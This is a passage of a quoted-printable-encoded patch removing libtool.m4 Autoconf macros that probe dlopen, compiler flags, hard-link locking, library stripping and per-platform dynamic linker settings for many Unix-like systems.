save_LIBS=3D"$LIBS" - LIBS=3D"$lt_cv_dlopen_libs $LIBS" - - AC_CACHE_CHECK([whether a program can dlopen itself], -=09 lt_cv_dlopen_self, [dnl -=09 _LT_AC_TRY_DLOPEN_SELF( -=09 lt_cv_dlopen_self=3Dyes, lt_cv_dlopen_self=3Dyes, -=09 lt_cv_dlopen_self=3Dno, lt_cv_dlopen_self=3Dcross) - ]) - - if test "x$lt_cv_dlopen_self" =3D xyes; then - wl=3D$lt_prog_compiler_wl eval LDFLAGS=3D\"\$LDFLAGS $lt_prog_co= mpiler_static\" - AC_CACHE_CHECK([whether a statically linked program can dlopen i= tself], - =09 lt_cv_dlopen_self_static, [dnl -=09 _LT_AC_TRY_DLOPEN_SELF( -=09 lt_cv_dlopen_self_static=3Dyes, lt_cv_dlopen_self_static=3Dyes, -=09 lt_cv_dlopen_self_static=3Dno, lt_cv_dlopen_self_static=3Dcros= s) - ]) - fi - - CPPFLAGS=3D"$save_CPPFLAGS" - LDFLAGS=3D"$save_LDFLAGS" - LIBS=3D"$save_LIBS" - ;; - esac - - case $lt_cv_dlopen_self in - yes|no) enable_dlopen_self=3D$lt_cv_dlopen_self ;; - *) enable_dlopen_self=3Dunknown ;; - esac - - case $lt_cv_dlopen_self_static in - yes|no) enable_dlopen_self_static=3D$lt_cv_dlopen_self_static ;; - *) enable_dlopen_self_static=3Dunknown ;; - esac -fi -])# AC_LIBTOOL_DLOPEN_SELF - - -# AC_LIBTOOL_PROG_CC_C_O([TAGNAME]) -# --------------------------------- -# Check to see if options -c and -o are simultaneously supported by co= mpiler -AC_DEFUN([AC_LIBTOOL_PROG_CC_C_O], -[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl -AC_CACHE_CHECK([if $compiler supports -c -o file.$ac_objext], - [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)], - [_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=3Dno - $rm -r conftest 2>/dev/null - mkdir conftest - cd conftest - mkdir out - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - lt_compiler_flag=3D"-o out/conftest2.$ac_objext" - # Insert the option either (1) after the last *FLAGS variable, or - # (2) before a word containing "conftest.", or (3) at the end. - # Note that $ac_compile itself does not contain backslashes and beg= ins - # with a dollar sign (not a hyphen), so the echo should work correc= tly. - lt_compile=3D`echo "$ac_compile" | $SED \ - -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \ - -e 's: [[^ ]]*conftest\.: $lt_compiler_flag&:; t' \ - -e 's:$: $lt_compiler_flag:'` - (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&AS_MESSAGE_LOG_FD= ) - (eval "$lt_compile" 2>out/conftest.err) - ac_status=3D$? - cat out/conftest.err >&AS_MESSAGE_LOG_FD - echo "$as_me:__oline__: \$? =3D $ac_status" >&AS_MESSAGE_LOG_FD - if (exit $ac_status) && test -s out/conftest2.$ac_objext - then - # The compiler can only warn and ignore the option if not recogni= zed - # So say no if there are warnings - $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conft= est.exp - $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2 - if test ! -s out/conftest.er2 || diff out/conftest.exp out/confte= st.er2 >/dev/null; then - _LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)=3Dyes - fi - fi - chmod u+w . 2>&AS_MESSAGE_LOG_FD - $rm conftest* - # SGI C++ compiler will create directory out/ii_files/ for - # template instantiation - test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files - $rm out/* && rmdir out - cd .. - rmdir conftest - $rm conftest* -]) -])# AC_LIBTOOL_PROG_CC_C_O - - -# AC_LIBTOOL_SYS_HARD_LINK_LOCKS([TAGNAME]) -# ----------------------------------------- -# Check to see if we can do hard links to lock some files if needed -AC_DEFUN([AC_LIBTOOL_SYS_HARD_LINK_LOCKS], -[AC_REQUIRE([_LT_AC_LOCK])dnl - -hard_links=3D"nottested" -if test "$_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1)" =3D no && test "= $need_locks" !=3D no; then - # do not overwrite the value of need_locks provided by the user - AC_MSG_CHECKING([if we can lock with hard links]) - hard_links=3Dyes - $rm conftest* - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - touch conftest.a - ln conftest.a conftest.b 2>&5 || hard_links=3Dno - ln conftest.a conftest.b 2>/dev/null && hard_links=3Dno - AC_MSG_RESULT([$hard_links]) - if test "$hard_links" =3D no; then - AC_MSG_WARN([`$CC' does not support `-c -o', so `make -j' may be u= nsafe]) - need_locks=3Dwarn - fi -else - need_locks=3Dno -fi -])# AC_LIBTOOL_SYS_HARD_LINK_LOCKS - - -# AC_LIBTOOL_OBJDIR -# ----------------- -AC_DEFUN([AC_LIBTOOL_OBJDIR], -[AC_CACHE_CHECK([for objdir], [lt_cv_objdir], -[rm -f .libs 2>/dev/null -mkdir .libs 2>/dev/null -if test -d .libs; then - lt_cv_objdir=3D.libs -else - # MS-DOS does not allow filenames that begin with a dot. - lt_cv_objdir=3D_libs -fi -rmdir .libs 2>/dev/null]) -objdir=3D$lt_cv_objdir -])# AC_LIBTOOL_OBJDIR - - -# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH([TAGNAME]) -# ---------------------------------------------- -# Check hardcoding attributes. -AC_DEFUN([AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH], -[AC_MSG_CHECKING([how to hardcode library paths into programs]) -_LT_AC_TAGVAR(hardcode_action, $1)=3D -if test -n "$_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)" || \ - test -n "$_LT_AC_TAGVAR(runpath_var, $1)" || \ - test "X$_LT_AC_TAGVAR(hardcode_automatic, $1)" =3D "Xyes" ; then - - # We can hardcode non-existant directories. - if test "$_LT_AC_TAGVAR(hardcode_direct, $1)" !=3D no && - # If the only mechanism to avoid hardcoding is shlibpath_var, we - # have to relink, otherwise we might link with an installed libra= ry - # when we should be linking with a yet-to-be-installed one - ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1)" !=3D no && - test "$_LT_AC_TAGVAR(hardcode_minus_L, $1)" !=3D no; then - # Linking always hardcodes the temporary library directory. - _LT_AC_TAGVAR(hardcode_action, $1)=3Drelink - else - # We can link without hardcoding, and we can hardcode nonexisting = dirs. - _LT_AC_TAGVAR(hardcode_action, $1)=3Dimmediate - fi -else - # We cannot hardcode anything, or else we can only hardcode existing - # directories. - _LT_AC_TAGVAR(hardcode_action, $1)=3Dunsupported -fi -AC_MSG_RESULT([$_LT_AC_TAGVAR(hardcode_action, $1)]) - -if test "$_LT_AC_TAGVAR(hardcode_action, $1)" =3D relink; then - # Fast installation is not supported - enable_fast_install=3Dno -elif test "$shlibpath_overrides_runpath" =3D yes || - test "$enable_shared" =3D no; then - # Fast installation is not necessary - enable_fast_install=3Dneedless -fi -])# AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH - - -# AC_LIBTOOL_SYS_LIB_STRIP -# ------------------------ -AC_DEFUN([AC_LIBTOOL_SYS_LIB_STRIP], -[striplib=3D -old_striplib=3D -AC_MSG_CHECKING([whether stripping libraries is possible]) -if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; t= hen - test -z "$old_striplib" && old_striplib=3D"$STRIP --strip-debug" - test -z "$striplib" && striplib=3D"$STRIP --strip-unneeded" - AC_MSG_RESULT([yes]) -else -# FIXME - insert some real tests, host_os isn't really good enough - case $host_os in - darwin*) - if test -n "$STRIP" ; then - striplib=3D"$STRIP -x" - AC_MSG_RESULT([yes]) - else - AC_MSG_RESULT([no]) -fi - ;; - *) - AC_MSG_RESULT([no]) - ;; - esac -fi -])# AC_LIBTOOL_SYS_LIB_STRIP - - -# AC_LIBTOOL_SYS_DYNAMIC_LINKER -# ----------------------------- -# PORTME Fill in your ld.so characteristics -AC_DEFUN([AC_LIBTOOL_SYS_DYNAMIC_LINKER], -[AC_MSG_CHECKING([dynamic linker characteristics]) -library_names_spec=3D -libname_spec=3D'lib$name' -soname_spec=3D -shrext_cmds=3D".so" -postinstall_cmds=3D -postuninstall_cmds=3D -finish_cmds=3D -finish_eval=3D -shlibpath_var=3D -shlibpath_overrides_runpath=3Dunknown -version_type=3Dnone -dynamic_linker=3D"$host_os ld.so" -sys_lib_dlsearch_path_spec=3D"/lib /usr/lib" -if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^librarie= s:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then - # if the path contains ";" then we assume it to be the separator - # otherwise default to the standard path separator (i.e. ":") - it= is - # assumed that no part of a normal pathname contains ";" but that = should - # okay in the real world where ";" in dirpaths is itself problemat= ic. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e "s/$PATH_SEPARATOR/ /g"` - fi -else - sys_lib_search_path_spec=3D"/lib /usr/lib /usr/local/lib" -fi -need_lib_prefix=3Dunknown -hardcode_into_libs=3Dno - -# when you set need_version to no, make sure it does not cause -set_ve= rsion -# flags to be left without arguments -need_version=3Dunknown - -case $host_os in -aix3*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix $l= ibname.a' - shlibpath_var=3DLIBPATH - - # AIX 3 has no versioning support, so we append a major version to t= he name. - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - -aix4* | aix5*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - hardcode_into_libs=3Dyes - if test "$host_cpu" =3D ia64; then - # AIX 5 supports IA64 - library_names_spec=3D'${libname}${release}${shared_ext}$major ${li= bname}${release}${shared_ext}$versuffix $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - else - # With GCC up to 2.95.x, collect2 would create an import file - # for dependence libraries. The import file would start with - # the line `#! .'. This would cause the generated library to - # depend on `.', always an invalid library. This was fixed in - # development snapshots of GCC prior to 3.0. - case $host_os in - aix4 | aix4.[[01]] | aix4.[[01]].*) - if { echo '#if __GNUC__ > 2 || (__GNUC__ =3D=3D 2 && __GNUC_MINO= R__ >=3D 97)' -=09 echo ' yes ' -=09 echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then -=09: - else -=09can_build_shared=3Dno - fi - ;; - esac - # AIX (on Power*) has no versioning support, so currently we can n= ot hardcode correct - # soname into executable. Probably we can add versioning support t= o - # collect2, so additional links can be useful in future. - if test "$aix_use_runtimelinking" =3D yes; then - # If using run time linking (on AIX 4.2 or later) use lib.= so - # instead of lib.a to let people know that these are not - # typical AIX shared libraries. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext}$major $libname${shared_ext}' - else - # We preserve .a as extension for shared libraries through AIX4.= 2 - # and later when we are not doing run time linking. - library_names_spec=3D'${libname}${release}.a $libname.a' - soname_spec=3D'${libname}${release}${shared_ext}$major' - fi - shlibpath_var=3DLIBPATH - fi - ;; - -amigaos*) - library_names_spec=3D'$libname.ixlibrary $libname.a' - # Create ${libname}_ixlibrary.a entries in /sys/libs. - finish_eval=3D'for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do l= ibname=3D`$echo "X$lib" | $Xsed -e '\''s%^.*/\([[^/]]*\)\.ixlibrary$%\1= %'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs = && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${lib= name}_ixlibrary.a || exit 1; done' - ;; - -beos*) - library_names_spec=3D'${libname}${shared_ext}' - dynamic_linker=3D"$host_os ld.so" - shlibpath_var=3DLIBRARY_PATH - ;; - -bsdi[[45]]*) - version_type=3Dlinux - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/shlib /usr/lib /usr/X11/lib /usr/contri= b/lib /lib /usr/local/lib" - sys_lib_dlsearch_path_spec=3D"/shlib /usr/lib /usr/local/lib" - # the default ld.so.conf also contains /usr/contrib/lib and - # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allo= w - # libtool to hard-code these into programs - ;; - -cygwin* | mingw* | pw32*) - version_type=3Dwindows - shrext_cmds=3D".dll" - need_version=3Dno - need_lib_prefix=3Dno - - case $GCC,$host_os in - yes,cygwin* | yes,mingw* | yes,pw32*) - library_names_spec=3D'$libname.dll.a' - # DLL is installed to $(libdir)/../bin by postinstall_cmds - postinstall_cmds=3D'base_file=3D`basename \${file}`~ - dlpath=3D`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo = \$dlname'\''`~ - dldir=3D$destdir/`dirname \$dlpath`~ - test -d \$dldir || mkdir -p \$dldir~ - $install_prog $dir/$dlname \$dldir/$dlname~ - chmod a+x \$dldir/$dlname' - postuninstall_cmds=3D'dldll=3D`$SHELL 2>&1 -c '\''. $file; echo \$= dlname'\''`~ - dlpath=3D$dir/\$dldll~ - $rm \$dlpath' - shlibpath_overrides_runpath=3Dyes - - case $host_os in - cygwin*) - # Cygwin DLLs use 'cyg' prefix rather than 'lib' - soname_spec=3D'`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${r= elease} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D"/usr/lib /lib/w32api /lib /usr/local= /lib" - ;; - mingw*) - # MinGW DLLs use traditional 'lib' prefix - soname_spec=3D'${libname}`echo ${release} | $SED -e 's/[[.]]/-/g= '`${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^libr= aries:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | [grep ';[c-zC-Z]:/' >/dev/= null]; then - # It is most probably a Windows format PATH printed by - # mingw gcc, but we are running on Cygwin. Gcc prints its sear= ch - # path with ; separators, and with drive letters. We can handl= e the - # drive letters (cygwin fileutils understands them), so leave = them, - # especially as we might pass files found there to a mingw obj= dump, - # which wouldn't understand a cygwinified path. Ahh. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e "s/$PATH_SEPARATOR/ /g"` - fi - ;; - pw32*) - # pw32 DLLs use 'pw' prefix rather than 'lib' - library_names_spec=3D'`echo ${libname} | sed -e 's/^lib/pw/'``ec= ho ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}' - ;; - esac - ;; - - *) - library_names_spec=3D'${libname}`echo ${release} | $SED -e 's/[[.]= ]/-/g'`${versuffix}${shared_ext} $libname.lib' - ;; - esac - dynamic_linker=3D'Win32 ld.exe' - # FIXME: first we should search . and the directory the executable i= s in - shlibpath_var=3DPATH - ;; - -darwin* | rhapsody*) - dynamic_linker=3D"$host_os dyld" - version_type=3Ddarwin - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${versuffix}$shared_ext ${= libname}${release}${major}$shared_ext ${libname}$shared_ext' - soname_spec=3D'${libname}${release}${major}$shared_ext' - shlibpath_overrides_runpath=3Dyes - shlibpath_var=3DDYLD_LIBRARY_PATH - shrext_cmds=3D'`test .$module =3D .yes && echo .so || echo .dylib`' - # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the sa= me. - if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | tr "\n" "$PAT= H_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep = "^libraries:" | sed -e "s/^libraries://" -e "s,=3D/,/,g" -e "s,$PATH_SE= PARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` - else - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/local/lib' - fi - sys_lib_dlsearch_path_spec=3D'/usr/local/lib /lib /usr/lib' - ;; - -dgux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname$shared_ext' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -freebsd1*) - dynamic_linker=3Dno - ;; - -kfreebsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -freebsd* | dragonfly*) - # DragonFly does not have aout. When/if they implement a new - # versioning mechanism, adjust this. - if test -x /usr/bin/objformat; then - objformat=3D`/usr/bin/objformat` - else - case $host_os in - freebsd[[123]]*) objformat=3Daout ;; - *) objformat=3Delf ;; - esac - fi - version_type=3Dfreebsd-$objformat - case $version_type in - freebsd-elf*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext} $libname${shared_ext}' - need_version=3Dno - need_lib_prefix=3Dno - ;; - freebsd-*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x $libname${shared_ext}$versuffix' - need_version=3Dyes - ;; - esac - shlibpath_var=3DLD_LIBRARY_PATH - case $host_os in - freebsd2*) - shlibpath_overrides_runpath=3Dyes - ;; - freebsd3.[[01]]* | freebsdelf3.[[01]]*) - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - freebsd3.[[2-9]]* | freebsdelf3.[[2-9]]* | \ - freebsd4.[[0-5]] | freebsdelf4.[[0-5]] | freebsd4.1.1 | freebsdelf4.= 1.1) - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - ;; - freebsd*) # from 4.6 on - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - esac - ;; - -gnu*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}${major} ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - hardcode_into_libs=3Dyes - ;; - -hpux9* | hpux10* | hpux11*) - # Give a soname corresponding to the major version so that dld.sl re= fuses to - # link against other versions. - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - case $host_cpu in - ia64*) - shrext_cmds=3D'.so' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.so" - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - if test "X$HPUX_IA64_MODE" =3D X32; then - sys_lib_search_path_spec=3D"/usr/lib/hpux32 /usr/local/lib/hpux3= 2 /usr/local/lib" - else - sys_lib_search_path_spec=3D"/usr/lib/hpux64 /usr/local/lib/hpux6= 4" - fi - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - hppa*64*) - shrext_cmds=3D'.sl' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DLD_LIBRARY_PATH # How should we handle SHLIB_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified= . - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix= ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - sys_lib_search_path_spec=3D"/usr/lib/pa20_64 /usr/ccs/lib/pa20_64= " - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - *) - shrext_cmds=3D'.sl' - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DSHLIB_PATH - shlibpath_overrides_runpath=3Dno # +s is required to enable SHLIB_= PATH - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - esac - # HP-UX runs *really* slowly unless shared libraries are mode 555. - postinstall_cmds=3D'chmod 555 $lib' - ;; - -interix3*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - dynamic_linker=3D'Interix 3.x ld.so.1 (PE, like ELF)' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - ;; - -irix5* | irix6* | nonstopux*) - case $host_os in - nonstopux*) version_type=3Dnonstopux ;; - *) -=09if test "$lt_cv_prog_gnu_ld" =3D yes; then -=09=09version_type=3Dlinux -=09else -=09=09version_type=3Dirix -=09fi ;; - esac - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}= $libname${shared_ext}' - case $host_os in - irix5* | nonstopux*) - libsuff=3D shlibsuff=3D - ;; - *) - case $LD in # libtool.m4 will add one of these switches to LD - *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") - libsuff=3D shlibsuff=3D libmagic=3D32-bit;; - *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") - libsuff=3D32 shlibsuff=3DN32 libmagic=3DN32;; - *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") - libsuff=3D64 shlibsuff=3D64 libmagic=3D64-bit;; - *) libsuff=3D shlibsuff=3D libmagic=3Dnever-match;; - esac - ;; - esac - shlibpath_var=3DLD_LIBRARY${shlibsuff}_PATH - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D"/usr/lib${libsuff} /lib${libsuff} /usr/l= ocal/lib${libsuff}" - sys_lib_dlsearch_path_spec=3D"/usr/lib${libsuff} /lib${libsuff}" - hardcode_into_libs=3Dyes - ;; - -# No shared lib support for Linux oldld, aout, or coff. -linux*oldld* | linux*aout* | linux*coff*) - dynamic_linker=3Dno - ;; - -# This must be Linux ELF. -linux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -n $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - # This implies no fast_install, which is unacceptable. - # Some rework will be needed to allow for fast_install - # before this can be enabled. - hardcode_into_libs=3Dyes - - # Append ld.so.conf contents to the search path - if test -f /etc/ld.so.conf; then - lt_ld_extra=3D`awk '/^include / { system(sprintf("cd /etc; cat %s"= , \[$]2)); skip =3D 1; } { if (!skip) print \[$]0; skip =3D 0; }' < /et= c/ld.so.conf | $SED -e 's/#.*//;s/[:,=09]/ /g;s/=3D[^=3D]*$//;s/=3D[^= =3D ]* / /g;/^$/d' | tr '\n' ' '` - sys_lib_dlsearch_path_spec=3D"/lib /usr/lib $lt_ld_extra" - fi - - # We used to test for /lib/ld.so.1 and disable shared libraries on - # powerpc, because MkLinux only supported shared libraries with the - # GNU dynamic linker. Since this was broken with cross compilers, - # most powerpc-linux boxes support dynamic linking these days and - # people can always --disable-shared, the test was removed, and we - # assume the GNU/Linux dynamic linker is in use. - dynamic_linker=3D'GNU/Linux ld.so' - ;; - -knetbsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -netbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - dynamic_linker=3D'NetBSD (a.out) ld.so' - else - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - dynamic_linker=3D'NetBSD ld.elf_so' - fi - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - -newsos6) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -nto-qnx*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - ;; - -openbsd*) - version_type=3Dsunos - sys_lib_dlsearch_path_spec=3D"/usr/lib" - need_lib_prefix=3Dno - # Some older versions of OpenBSD (3.3 at least) *do* need versioned = libs. - case $host_os in - openbsd3.3 | openbsd3.3.*) need_version=3Dyes ;; - *) need_version=3Dno ;; - esac - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host= _os-$host_cpu" =3D "openbsd2.8-powerpc"; then - case $host_os in - openbsd2.[[89]] | openbsd2.[[89]].*) -=09shlibpath_overrides_runpath=3Dno -=09;; - *) -=09shlibpath_overrides_runpath=3Dyes -=09;; - esac - else - shlibpath_overrides_runpath=3Dyes - fi - ;; - -os2*) - libname_spec=3D'$name' - shrext_cmds=3D".dll" - need_lib_prefix=3Dno - library_names_spec=3D'$libname${shared_ext} $libname.a' - dynamic_linker=3D'OS/2 ld.exe' - shlibpath_var=3DLIBPATH - ;; - -osf3* | osf4* | osf5*) - version_type=3Dosf - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/= cc /usr/lib /usr/local/lib /var/shlib" - sys_lib_dlsearch_path_spec=3D"$sys_lib_search_path_spec" - ;; - -solaris*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - # ldd complains unless libraries are executable - postinstall_cmds=3D'chmod +x $lib' - ;; - -sunos4*) - version_type=3Dsunos - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/usr/etc" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes - if test "$with_gnu_ld" =3D yes; then - need_lib_prefix=3Dno - fi - need_version=3Dyes - ;; - -sysv4 | sysv4.3*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - case $host_vendor in - sni) - shlibpath_overrides_runpath=3Dno - need_lib_prefix=3Dno - export_dynamic_flag_spec=3D'${wl}-Blargedynsym' - runpath_var=3DLD_RUN_PATH - ;; - siemens) - need_lib_prefix=3Dno - ;; - motorola) - need_lib_prefix=3Dno - need_version=3Dno - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/ccs/lib' - ;; - esac - ;; - -sysv4*MP*) - if test -d /usr/nec ;then - version_type=3Dlinux - library_names_spec=3D'$libname${shared_ext}.$versuffix $libname${s= hared_ext}.$major $libname${shared_ext}' - soname_spec=3D'$libname${shared_ext}.$major' - shlibpath_var=3DLD_LIBRARY_PATH - fi - ;; - -sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX* | sysv4*uw2*) - version_type=3Dfreebsd-elf - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext} 